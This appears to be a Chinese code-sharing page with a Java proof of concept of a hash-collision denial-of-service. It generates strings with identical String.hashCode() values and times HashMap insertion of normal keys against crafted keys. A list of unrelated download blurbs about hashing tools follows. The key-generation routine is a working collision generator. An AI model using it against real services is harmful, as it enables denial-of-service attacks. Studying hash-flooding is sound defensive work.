Hash Collision攻击的代码(
java)
package com.wzucxd;
import java.math.BigDecimal;
import java.util.HashMap;
import java.util.Map;
public class HashCollision_ {
private static final int i1 = 48;
private static final int i2 = 8;
private static final int i3 = 31;
private static final int i4 = 60000;
private static final long l1 = i3 - 1;
private static final long l2 = 2l << 32;
private static final BigDecimal d1 = new BigDecimal(31);
private static final BigDecimal d2 = d1.pow(i2);
private static final BigDecimal d3 = new BigDecimal(l2);
public static void main(String[] args) {
Map<String, Integer> map = null;
//普通
long startTime = System.currentTimeMillis();
map = new HashMap<String, Integer>();
for (int i = 0; i <= i4; i++) {
String s = String.valueOf(i);
map.put(s, 0);
}
long endTime = System.currentTimeMillis();
System.out.println(String.format("hash normal %s s", (endTime - startTime) / 1000.0));
//攻击
startTime = System.currentTimeMillis();
map = new HashMap<String, Integer>();
for (int i = 0; i <= i4; i++) {
String s = String.valueOf(i);
while (s.length() < 5) {
s = "0" + s;
}
int hs = s.hashCode();
char[] r = g(hs, 0);
s = s.concat(new String(r));
map.put(s, 0);
}
endTime = System.currentTimeMillis();
System.out.println(String.format("hash collision %s s", (endTime - startTime) / 1000.0));
}
private static char[] g(int s, int t) {
long hx1 = l1 * s + i1;
BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
long l = hx4.subtract(b).longValue();
l = (l + l2) % l2;
if (l < 0)
l += l2;
char[] c = new char[i2];
int p = 0;
while (l != 0) {
c[p++] = (char) (l % (i3) + i1);
l = l / i3;
}
int f = i2 - p;
char[] cs = new char[i2];
int i = 0;
while (i < f) {
cs[i++] = (char) i1;
}
while (i < i2) {
cs[i] = c[p - i + f - 1];
++i;
}
return cs;
}
}
分享到:
相关推荐
Java实现的Hash Collision DoS Attack
非常使用的 基于geohash 找一定范围内的 最近位置java代码
NULL 博文链接:https://goodscript.iteye.com/blog/1338973
警惕Hash Collision Dos.pdf
采用java实现的常用hash算法归总。
RS-Hash Function Value: " + ghl.RSHash(key)); System.out.println(" 2. JS-Hash Function Value: " + ghl.JSHash(key)); System.out.println(" 3. PJW-Hash Function Value: " + ghl.PJWHash(key)); System....
基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发...
geohash基本原理是将地球理解为一个二维平面,将平面递归分解成更小的子块,每个子块在一定经纬度范围内拥有相同的编码。GeoHash将二维的经纬度转换成一维的字符串。
哈希计算工具 java-hash.7z
uthash 是C的比较优秀的开源代码,它实现了常见的hash操作函数,例如查找、插入、删除等待。该套开源代码采用宏的方式实现hash函数的相关功能,支持C语言的任意数据结构最为key值,甚至可以采用多个值作为key,无论...
工具类
本程序是c++程序,实现MD5的hash摘要
geohash-java a Java implement of Geohash 提供下列接口: Modifier and Type Method and Description String toGeoHash(double lng, double lat) 根据经纬度计算 geohash String toGeoHash(double lng, double lat...
hash算法C代码实现 标准接口函数 方便修改hash函数
哈希计算工具 java-hash
Java程序。可以生成文件的MD5哈希值。生成的Hash值可保存到txt文件中。程序完全可运行。
C语言实现的Hash表(代码)。C语言实现的Hash表(代码)。C语言实现的Hash表(代码)。C语言实现的Hash表(代码)。
如果没有找到,则取整个环的第个节点。测试结果测试代码是整理的,主体法没有变分布平均性测试:测试随机成的众多key是否会平均分布到各个结点上测试结果如下:最上是参
Java二进制IO类与文件复制操作实例,好像是一本书的例子,源代码有的是独立运行的,与同目录下的其它代码文件互不联系,这些代码面向初级、中级Java程序员。 Java访问权限控制源代码 1个目标文件 摘要:Java源码,...
莫尔斯电码哈希碰撞检测器这是什么? 这个小工具将相当于字母表中每个字母的二进制莫尔斯电码转换为一个数字。 这个数字可以用作表的索引。你为什么需要这个? 如果您正在尝试莫尔斯电码挑战,此工具会计算将二进制...